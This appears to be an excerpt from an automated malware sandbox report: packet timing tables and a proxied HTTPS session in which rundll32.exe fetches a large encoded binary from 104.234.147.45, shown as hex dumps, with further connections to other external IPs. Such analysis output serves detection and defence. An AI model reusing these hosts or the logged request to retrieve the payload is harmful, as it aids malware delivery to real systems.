Mar 17, 2023 15:07:55.792771101 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.792993069 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.792994022 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.793009043 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.793087959 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.797069073 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.797118902 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.797360897 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.797380924 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.797395945 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.797446966 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.803158045 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.803205967 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.804126024 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.804200888 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.805432081 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.805484056 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.805613995 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.805644035 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.805677891 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.805794954 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.805829048 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.807044029 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.807109118 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.807153940 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.807183981 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.807204008 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.807255030 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.808888912 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.808959007 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.808979988 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.809007883 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.809031963 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.809052944 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.810168982 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.810201883 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.810280085 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.810309887 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.810331106 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.810374022 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.811224937 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.811263084 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.811322927 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.811347961 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.811413050 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.812359095 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.812403917 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.814136028 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.814167976 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.815716028 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.825700998 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.825762033 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.825831890 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.825855017 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.826119900 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.826236963 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.826451063 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.826596975 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.827275991 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.827305079 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.827676058 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.827699900 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.827827930 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.827879906 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.864742041 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.864799976 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.865784883 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.865849972 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.867058039 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.867077112 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.867162943 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.867192030 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.867192030 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.867197990 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.867219925 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.867270947 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.867435932 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.868793011 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.868829012 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.870029926 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.870048046 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.870307922 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.899983883 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.900048018 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.900186062 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.900202990 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.900338888 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.901189089 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.901228905 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.901689053 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:56.106724024 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:56.106820107 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:56.129699945 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:56.129739046 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:56.129787922 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:56.129800081 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:56.130008936 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:56.135508060 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:56.135854006 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:56.138937950 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:56.138978004 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:09:49.426023006 CET	49713	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:09:49.426089048 CET	443	49713	104.234.147.45	192.168.2.6
Mar 17, 2023 15:09:49.426201105 CET	49713	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:09:50.186454058 CET	49713	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:09:50.186507940 CET	443	49713	104.234.147.45	192.168.2.6
Mar 17, 2023 15:09:50.186568022 CET	443	49713	104.234.147.45	192.168.2.6
Mar 17, 2023 15:09:50.186593056 CET	49713	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:09:50.186625957 CET	443	49713	104.234.147.45	192.168.2.6
Mar 17, 2023 15:09:50.283655882 CET	49714	443	192.168.2.6	23.254.226.136
Mar 17, 2023 15:09:50.283709049 CET	443	49714	23.254.226.136	192.168.2.6
Mar 17, 2023 15:09:50.283812046 CET	49714	443	192.168.2.6	23.254.226.136
Mar 17, 2023 15:09:50.801775932 CET	49714	443	192.168.2.6	23.254.226.136
Mar 17, 2023 15:09:50.801830053 CET	443	49714	23.254.226.136	192.168.2.6
Mar 17, 2023 15:09:50.801929951 CET	49714	443	192.168.2.6	23.254.226.136
Mar 17, 2023 15:09:50.801934004 CET	443	49714	23.254.226.136	192.168.2.6
Mar 17, 2023 15:09:50.801954031 CET	443	49714	23.254.226.136	192.168.2.6
Mar 17, 2023 15:09:51.952075958 CET	49715	443	192.168.2.6	188.191.106.71
Mar 17, 2023 15:09:51.952133894 CET	443	49715	188.191.106.71	192.168.2.6
Mar 17, 2023 15:09:51.952250004 CET	49715	443	192.168.2.6	188.191.106.71
Mar 17, 2023 15:09:52.456511974 CET	49715	443	192.168.2.6	188.191.106.71
Mar 17, 2023 15:09:52.456558943 CET	443	49715	188.191.106.71	192.168.2.6
Mar 17, 2023 15:09:52.456629038 CET	49715	443	192.168.2.6	188.191.106.71
Mar 17, 2023 15:09:52.456656933 CET	443	49715	188.191.106.71	192.168.2.6
Mar 17, 2023 15:09:53.378823996 CET	49716	443	192.168.2.6	104.234.11.33
Mar 17, 2023 15:09:53.378901958 CET	443	49716	104.234.11.33	192.168.2.6
Mar 17, 2023 15:09:53.379030943 CET	49716	443	192.168.2.6	104.234.11.33
Mar 17, 2023 15:09:53.738962889 CET	49716	443	192.168.2.6	104.234.11.33
Mar 17, 2023 15:09:53.739039898 CET	443	49716	104.234.11.33	192.168.2.6
Mar 17, 2023 15:09:53.739074945 CET	49716	443	192.168.2.6	104.234.11.33
Mar 17, 2023 15:09:53.739089966 CET	443	49716	104.234.11.33	192.168.2.6
Mar 17, 2023 15:09:53.739118099 CET	443	49716	104.234.11.33	192.168.2.6
Mar 17, 2023 15:10:02.621074915 CET	49717	443	192.168.2.6	62.101.147.99
Mar 17, 2023 15:10:02.621160984 CET	443	49717	62.101.147.99	192.168.2.6
Mar 17, 2023 15:10:02.621347904 CET	49717	443	192.168.2.6	62.101.147.99
Mar 17, 2023 15:10:02.631151915 CET	49717	443	192.168.2.6	62.101.147.99
Mar 17, 2023 15:10:02.631206989 CET	443	49717	62.101.147.99	192.168.2.6
Mar 17, 2023 15:10:02.631290913 CET	443	49717	62.101.147.99	192.168.2.6

HTTP Request Dependency Graph

104.234.147.45

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.6	49710	104.234.147.45	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-17 14:07:53 UTC	0	OUT	GET /GEh3U9hPrJJwiuW8cho3jCQDNgYCHdRlDEu1WOn0Ju1N1JFHnMzh5eNDh/He3mJvg/hYeEa9QxZcsAyAxF4ton1GooJihoH36n0t0cTooI+JPxSqsRWGh/FDvChed96F75Q8IU7duptDur55qQIlaNXvvdn936kJouS5Vp0XmSneT4/HADhooNg= HTTP/1.1 Host: 104.234.147.45
2023-03-17 14:07:53 UTC	0	IN	HTTP/1.0 200 OK Server: Apache/2.4.7 (Ubuntu) Accept-Ranges: bytes Content-Type: application/octet-stream Content-Disposition: attachment; filename=2B6EB9E37CEF64B3206BDF6C46524E6E Connection: Close Content-Length: 3667232 Connection: close
2023-03-17 14:07:53 UTC	0	IN	Data Raw: 1f 91 a0 6c c1 a8 73 ae cb c5 8c 1c 98 f3 8a b7 cb 91 2e ec c7 d5 e8 e3 97 cb 52 c7 9a 74 ab c2 be e9 d0 74 53 fd 59 cd 2c 2d 15 6e 8b 5e f3 6e 7f 58 05 5d e4 59 a9 dc 22 35 96 0b 06 e4 50 77 ac d3 cd 55 2a cb 5b 7f af 0b 51 4c 73 34 59 c7 0a c8 0a 58 92 c3 b2 cc 67 e1 70 8b df 9a f3 f0 fb 8b 83 99 97 a5 6e df 70 65 8d 0b 31 93 c9 ed 9f d5 25 eb f9 9a 65 92 1c 33 3b f8 47 8f f5 a9 83 a6 cb 20 ae 36 26 ab 30 31 63 04 73 5a e2 2d bf 78 24 d0 22 6a cf fc 17 b3 8b 4a e8 0c 1d e0 e3 e4 58 0c ee 7a 90 f2 bf 66 e0 6b 41 c7 0f 99 48 50 6f d2 9b 4f 0c 7a 26 d4 bf 27 b4 2d 19 3b e1 b5 df 6d 0f 0e db b4 30 2e e8 58 08 0f 43 bb f7 85 73 02 93 30 87 3a be 6d 63 af 52 b1 a5 3d bb 72 42 e0 e2 2e 9b 9a bd 3f 42 ed db 3c 77 38 66 8e 79 d7 bc b3 ae 29 93 49 f0 78 27 d3 b4 Data Ascii: ls.RttSY,-n^nX]Y"5PwU*[QLs4YXgpnpe1%e3;G 6&01csZ-x$"jJXzfkAHPoOz&'-;m0.XCs0:mcR=rB.?B<w8fy)Ix'
2023-03-17 14:07:54 UTC	16	IN	Data Raw: e5 55 d7 f0 50 01 34 73 72 f4 05 3e 3b 8e 67 8f 4d 22 f7 28 1e e7 62 ed 23 05 90 a1 f4 42 11 f9 c5 48 17 50 02 6e a0 79 17 4e ef c8 b4 8e 80 f6 41 f0 56 11 68 a0 fe a0 f7 2d 28 03 47 58 54 e2 0a 6e 24 e8 e2 e9 5c 03 e4 d0 4e a7 be 5c 76 41 04 e2 dc ea 3d 74 c9 de 5d fd 8d ad a9 80 c1 a3 24 cf bb 2b b2 98 30 c8 f1 94 18 a7 c1 39 be 42 fe fd dc 36 63 ea 5c f2 6a 42 d0 33 77 ec 1c aa 61 1f 09 de 04 9e d3 74 5f b6 39 14 34 df 21 9e 40 86 26 f4 8b f0 25 3e 20 d0 51 84 14 96 18 bb 1f 5b ee fe ec 37 80 2a 99 b0 d1 bf be 9c 49 b1 28 50 d7 68 81 13 69 59 5f 93 e1 01 20 85 e9 9b 0e 9d 1d b2 28 b3 e3 9f 42 7f d1 34 b9 6b 95 bf 57 48 21 d0 e9 f2 08 44 53 67 52 7d a4 60 72 94 b4 41 c8 8c d9 75 96 0e 28 24 2c 71 1c fc ff 2a 43 96 4d 41 7f 00 6e dc bc 4d fd 39 eb 92 e6 Data Ascii: UP4sr>;gM"(b#BHPnyNAVh-(GXTn$\N\vA=t]$+09B6c\jB3wat_94!@&%> Q[7I(PhiY_ (B4kWH!DSgR}`rAu($,qCMAnM9
2023-03-17 14:07:54 UTC	32	IN	Data Raw: f4 ed fb 5a 14 5a f5 fe fa 27 8b 54 69 5c 93 62 42 ce e0 e1 35 de 92 4f 47 a9 b4 f2 7c 05 db f9 2b a6 25 df 81 28 0e 88 1f 63 30 38 9f 1d e4 14 64 09 7f ed 9d ea ca 5b f0 7c 2f 74 54 2f 8d 4a 12 1e f0 cf a0 88 a5 f8 97 2b fa f6 85 79 a1 0c bb 9e 5a c3 a0 40 33 67 9d 87 f4 2c 17 1d ef 60 e7 26 21 79 86 de 59 90 a5 16 c8 87 02 a8 75 ef c2 3a cb 16 72 99 76 13 c6 5c 26 9b 3e 58 ae 48 a2 a5 b8 12 fc ad 04 aa 76 89 dc bb c7 de d2 bf 13 6e 99 43 c8 62 ed d7 70 cb c7 69 73 78 14 1d 6c 2e 68 c8 7e 0b 49 94 5f 43 f8 85 50 05 13 0e 6a 1c b2 e9 3b d6 c5 28 a5 ff 5f ff a7 8b 58 69 18 91 ca e9 9d 2f fd 2f cd 53 d4 20 dc 6b 0e e8 86 8f 1b 57 b2 1f 9a 4c a1 31 0e c5 ce 2c eb 10 71 a9 4e d9 df 55 26 40 79 86 f1 dc 43 03 4c b1 a8 80 05 49 b7 31 fd 59 17 e8 1c a5 cc 9f f0 Data Ascii: ZZ'Ti\bB5OG\|+%(c08d[\|/tT/J+yZ@3g,`&!yYu:rv\&>XHvnCbpisxl.h~I_CPj;(_Xi//S kWL1,qNU&@yCLI1Y
2023-03-17 14:07:54 UTC	48	IN	Data Raw: 23 df 86 33 d7 8a 06 09 10 c4 1a 24 c8 2c 25 e5 08 a6 f4 eb 61 ae 61 41 0b 37 b4 83 65 a2 07 58 79 b4 b2 23 14 07 78 60 82 d8 68 9f 26 53 7f 18 0f 9e 03 41 40 c6 d6 3e 35 ef 8e f2 dd e4 12 4e 48 69 10 e5 09 c6 2a bc bb dd 68 34 a9 69 e7 4e 91 c2 d8 e1 b7 5b ab 9a 40 3e 5f 81 9c 5e 79 2b 67 a7 6d 4e 92 27 09 63 9e 9f c3 f1 6d bd 0f cd 35 a6 26 40 ac 8d d6 0c a3 45 c0 87 a6 df 54 63 30 bb fe 8f 8d 7d 21 08 b9 67 0b 5b de 62 1b 39 d0 3e bd 68 97 3b e6 97 cb 6e 62 fe 6a da 75 df 7a b8 07 c6 44 fd 21 78 eb fc 35 b9 c5 c0 76 f1 5d fe 81 3b a0 80 16 f7 81 20 30 8b a6 02 2a c4 58 46 fc 12 1d 40 24 0c e7 d5 5c 9a f2 9b e7 de b4 02 2d 3d a5 3c 87 74 18 44 98 2e db d5 93 8f cc 90 49 db 52 43 1b ef d9 08 ce db c8 85 95 2a 21 a3 e1 8b 1f e5 02 ca b5 36 89 ff ee a9 4e Data Ascii: #3$,%aaA7eXy#x`h&SA@>5NHih4iN[@>_^y+gmN'cm5&@ETc0}!g[b9>h;nbjuzD!x5v]; 0XF@$\-=<tD.IRC*!6N
2023-03-17 14:07:54 UTC	64	IN	Data Raw: c7 2d 73 74 66 fa 87 ea b8 dc 06 1f 7f a7 64 f9 16 4a bc 95 57 6d ff f5 a3 4d c0 c3 a1 62 aa 4d a8 b9 df ab fa ad 6e 0e d7 37 1c ee b9 46 1a 90 8a b9 94 f2 c1 0f 34 44 c5 c6 cf f2 38 b4 63 ad f6 50 13 5e 9d ca 65 b7 40 57 c7 34 f7 9f 40 74 9f 2b 8f 90 03 3a d9 d6 91 6a eb fb cc fe 67 5a b3 8f aa 17 a0 9f 67 39 23 09 75 0f 25 e5 db 59 b2 c5 97 1f 00 f5 7f b6 6c 0f 8c 77 95 ed a2 a6 11 2d 58 3f c0 d0 14 93 54 4c 7a 7f d6 e6 73 26 8a 95 b7 69 3f 3f 3a ab fd ae 26 11 3f d9 c1 6e f8 5d 61 19 0b 5a 56 05 e8 1d 90 04 04 d4 b9 4a 9b e1 26 0b ac 52 89 26 6f 28 a3 8c ec 15 c2 90 61 2f 21 67 fd 18 f2 5a 10 7d b0 52 03 66 31 39 8e cc f9 27 07 44 2a 9a 68 52 92 d9 40 fa 01 70 27 09 49 5c e1 ec d4 98 c3 2a 77 cb 82 e5 d1 3e d8 57 59 85 31 96 85 8e 86 7a 46 7a ae 57 3b Data Ascii: -stfdJWmMbMn7F4D8cP^e@W4@t+:jgZg9#u%Ylw-X?TLzs&i??:&?n]aZVJ&R&o(a/!gZ}Rf19'DhR@p'I\w>WY1zFzW;
2023-03-17 14:07:54 UTC	80	IN	Data Raw: 83 16 a1 af 98 7c 34 97 76 01 21 cb 12 b1 2c 40 1c aa d3 87 3c c5 8e 85 b5 e5 37 24 b6 9b cb 4f 7b d1 51 ec 10 a0 c4 91 90 42 0f 87 68 f8 c1 50 83 ad e7 f3 8a 09 93 85 45 e1 73 f4 7d 65 34 dc 88 a7 27 d2 20 2f bb 79 f0 2e a0 13 41 ed 80 b5 73 d3 3c 16 a9 4e 65 91 b1 0b 58 e1 af 35 87 0e 86 dd cd 8b 6a 2e 84 a2 bd e8 70 f2 7a 84 50 c6 57 71 1a bf 80 66 47 ee f4 ef 59 3f ba 18 19 9a 34 47 b1 72 f4 5d 97 58 66 6f 45 bd bb 64 3c db 84 09 c0 64 a8 51 d8 f9 04 f2 7d 49 29 4a a9 19 ed 4a 4d 83 20 4e 83 63 1f 02 7b d7 e9 91 fb d5 d4 ae 8d 66 58 0a d1 2a 03 b0 ff 47 e0 00 0b 9b 9d 7c 6f ef d9 80 64 7f 6a e5 cb 56 63 5c 9d e0 3d 1e 48 56 73 c0 ec e2 e9 66 0f 11 57 27 23 3f e4 8e 88 5f 7f 71 1d a1 18 83 84 bc fe f2 cb 96 62 b1 d5 7e a3 5c 3f 56 c4 44 e0 45 7b a3 8f Data Ascii: \|4v!,@<7$O{QBhPEs}e4' /y.As<NeX5j.pzPWqfGY?4Gr]XfoEd<dQ}I)JJM Nc{fX*G\|odjVc\=HVsfW'#?_qb~\?VDE{
2023-03-17 14:07:54 UTC	96	IN	Data Raw: cd d5 cc f1 6c 2c b0 64 53 37 ba 5b f2 34 cb c9 e6 e5 61 06 15 56 7f 05 aa fb e0 50 ba d5 57 36 30 f3 42 2d 6a 13 98 4b d5 06 00 6a f7 fa 47 c1 b9 85 0a d9 f5 f2 ec 8c c6 0d cf 8a 9e fa aa e3 54 42 cf 2a e2 98 36 b4 53 75 af f1 a9 fc f3 f7 83 56 22 bc cf 16 b8 8f 29 16 e8 a7 c2 92 24 e7 83 73 11 a0 43 1e 71 26 19 e9 fb a9 e3 f6 e0 f4 8d e6 fb b6 f0 5c 1e e4 ee 93 a3 56 2a 4e c2 32 a0 a7 35 27 7f 61 63 21 84 69 79 f7 48 ea 18 1c e8 12 35 6c f5 f4 82 ef e6 a5 52 4e 5c 41 8e bf 1b d4 5d a9 ec cc af 37 74 2e e5 ec 6b 7a 98 6d 18 34 84 c3 e7 c1 b9 fc e9 a5 77 4d bc 7c 19 0d 75 0b 50 33 3b fa 80 3c af 29 3e b3 4b b6 94 d3 9c d1 c8 44 61 a1 ce 4f 2b e5 fb 8c a4 ae 04 25 32 59 06 83 cc 86 b7 89 04 13 47 02 1d 5d 30 50 02 88 65 11 40 e9 d6 3f 85 04 7b 36 69 4e d6 Data Ascii: l,dS7[4aVPW60B-jKjGTB6SuV")$sCq&\VN25'ac!iyH5lRN\A]7t.kzm4wM\|uP3;<)>KDaO+%2YG]0Pe@?{6iN
2023-03-17 14:07:54 UTC	112	IN	Data Raw: 8c 69 f7 ca cc 50 f3 67 07 61 4b c9 76 a6 ef 6e e9 1d a3 33 fa eb d5 fc 9e 26 94 75 a9 63 e5 a8 c5 d5 33 31 d4 11 cc 6e 27 3c 6c e7 22 22 86 a9 77 cd d3 33 ba 1b 77 c0 bd 4f 92 52 cb 4e dd 32 2b 6d 4c 29 57 61 9e 66 03 59 73 f9 04 15 9d cb c2 d8 91 58 47 3e b0 01 e2 14 b3 26 56 55 09 53 c4 de 99 5f 74 eb d9 68 47 de 9d d6 61 22 d2 8f 49 a8 41 f7 2a 28 c8 82 87 23 cd 43 6a 25 d5 a7 42 df 50 d9 dc 48 b0 20 28 d5 09 95 6a 4b 6d 9d b8 aa 72 e9 5d b8 b2 d6 25 da 72 d0 a9 c4 a5 fb 97 7f 15 13 79 60 df f9 63 d4 b3 b1 e3 4d 86 f6 e1 92 ae 03 a0 eb 18 8f e0 7f 1a f0 bc f0 1f 56 7d a9 1d a1 42 6b bc e8 e8 b1 72 a8 14 e6 28 7c ad 55 91 5c e9 ab 4a c2 89 3e 01 ad 6e 05 45 77 47 59 50 ef 01 0a 10 a6 7c 54 23 d8 4d 3b 3a fd 93 f9 27 d6 a2 c6 e6 f0 99 3a 19 4c 32 38 19 Data Ascii: iPgaKvn3&uc31n'<l""w3wORN2+mL)WafYsXG>&VUS_thGa"IA*(#Cj%BPH (jKmr]%ry`cMV}Bkr(\|U\J>nEwGYP\|T#M;:':L28
2023-03-17 14:07:54 UTC	128	IN	Data Raw: 48 5f f6 97 f5 be bb e2 e5 eb b4 4c 0f 52 cd 6a 60 ae 76 a4 87 47 41 c4 04 b8 bc 46 72 bd ba 66 31 9e 76 07 94 50 fd 97 b4 75 11 21 5b 7a 65 e7 ea 7d 13 6f e7 5d 6f 9c d1 8c fd 31 cc 83 3c 44 d5 e1 93 7a 9b aa 4b 13 d5 ae 6d 20 69 4c ea d0 1d a7 21 04 46 4d 73 2d dd 8d 13 58 3e eb 0c 93 3a 10 fb 13 65 eb fe 4b ee 1e 86 06 67 e1 e4 ac ac 99 d3 4a ff 53 92 6e 35 93 43 37 90 48 84 ca 1c 7a 45 8d f8 7d 51 0a 9e 0f 25 c5 b6 08 c2 0b ab b1 8f 77 81 0d 16 68 62 6a bd d3 82 55 62 90 6a f9 28 06 d0 8d 50 f0 a8 3b 91 af 55 4d 44 84 eb c2 2c 60 d1 a2 59 7a 0d 31 a3 8c 3b 5a d5 ce 15 75 1c fd 99 89 1b 6d 6d 6f 1b 44 20 e2 8a 34 b6 c6 c3 20 b5 76 31 24 b8 d6 ab e5 8a 60 06 07 ec 3a bc 4c 01 d8 b5 80 5c 04 68 84 2a 07 0f 76 77 b5 09 9f af 02 2b 3c 58 8a dd a8 7a 99 f5 Data Ascii: H_LRj`vGAFrf1vPu![ze}o]o1<DzKm iL!FMs-X>:eKgJSn5C7HzE}Q%whbjUbj(P;UMD,`Yz1;ZummoD 4 v1$`:L\h*vw+<Xz
2023-03-17 14:07:54 UTC	144	IN	Data Raw: 1a 6d 2e 89 31 3e 89 8b e5 40 54 d2 c9 f7 33 c1 08 13 1c b6 8a 20 59 da 79 23 71 bc fe 16 61 82 a0 9a 47 0b 38 61 89 0e 35 fd 13 e1 48 8b 67 02 34 d9 02 56 b0 2b 36 2c dd 08 ff 09 15 ed 70 29 83 3e ba 6f ac 5f 77 b0 18 50 09 80 0f 70 97 3b aa a0 0c 5a 0a c4 4f fd 66 eb 84 ba 42 45 f8 62 14 8e 44 1b 93 24 62 ac bd 23 f9 75 38 09 fc d3 58 72 e1 e8 2e 19 21 53 53 88 a8 49 c4 87 e0 a4 fd ef e7 f3 9c 9e 66 70 7e be f2 d4 4f 6e 5e 36 0f b3 9c 9d a2 4d 89 36 cc 9a e0 74 76 ee db f1 a8 e6 cb 26 6f 65 4f d0 e1 52 e4 00 4f 88 94 74 2d 44 a6 2f b9 88 21 57 d0 73 f2 e0 00 bc 03 a4 e2 77 52 64 b5 ce ab 1e 56 4b 00 d6 b2 4b 3e 4a 1b 02 bf 7f b7 e7 8d 0a c6 83 65 6e 86 48 23 9a 7a c5 4e 58 a6 58 ef 54 08 24 3e ff 0f ee 45 8e d4 ef d6 b7 3e c6 b1 4b 47 b0 d8 2f e2 f1 00 Data Ascii: m.1>@T3 Yy#qaG8a5Hg4V+6,p)>o_wPp;ZOfBEbD$b#u8Xr.!SSIfp~On^6M6tv&oeOROt-D/!WswRdVKK>JenH#zNXXT$>E>KG/
2023-03-17 14:07:54 UTC	160	IN	Data Raw: 91 fc 10 d2 b2 ab 9f 3e cd 3e 4c c6 55 b2 dc 55 5b 07 b7 1e 18 de 90 e1 c2 b9 a9 42 68 b6 d3 3d a1 6e 91 29 af 1a 80 6b 1d f7 d3 a8 14 4b 46 28 05 fb f0 95 cf 3b 14 e4 6b e2 78 6b 72 28 e0 cb 21 9a 3d 56 a7 34 76 35 89 dc dc 3b b1 f9 89 2b 32 ff a4 17 39 95 59 42 22 36 f6 66 22 df 88 ff 92 a0 8f 19 f7 bc d8 5a 6a bb 4a c8 52 9e d5 ec c5 55 ab e6 b9 08 17 31 ac e2 6f 67 30 5b 66 8e ca 35 4c a0 16 ea 41 8e a2 ca b0 7e e1 b6 44 35 66 97 ce 32 2a c5 89 f0 25 db c8 29 d5 81 7e 79 d5 6c 2e 20 68 fb d2 1b a3 a9 f7 59 24 fd a5 a3 63 4f f8 36 53 66 5d 0e b6 0e 0f 2d 36 ae 1c ec 51 73 ab bb 68 76 ca 9b 37 eb 24 9f 44 1f 22 35 0e 0a ab e9 7f 0f ec 86 c5 1b 4b 5a 2b b6 a5 f0 20 97 4c 47 db 3e 88 e0 75 5b c3 9c d0 d9 ff 91 7d 7d db a8 c7 31 f1 f1 d9 a5 84 28 d7 1d ff Data Ascii: >>LUU[Bh=n)kKF(;kxkr(!=V4v5;+29YB"6f"ZjJRU1og0[f5LA~D5f2*%)~yl. hY$cO6Sf]-6Qshv7$D"5KZ+ LG>u[}}1(
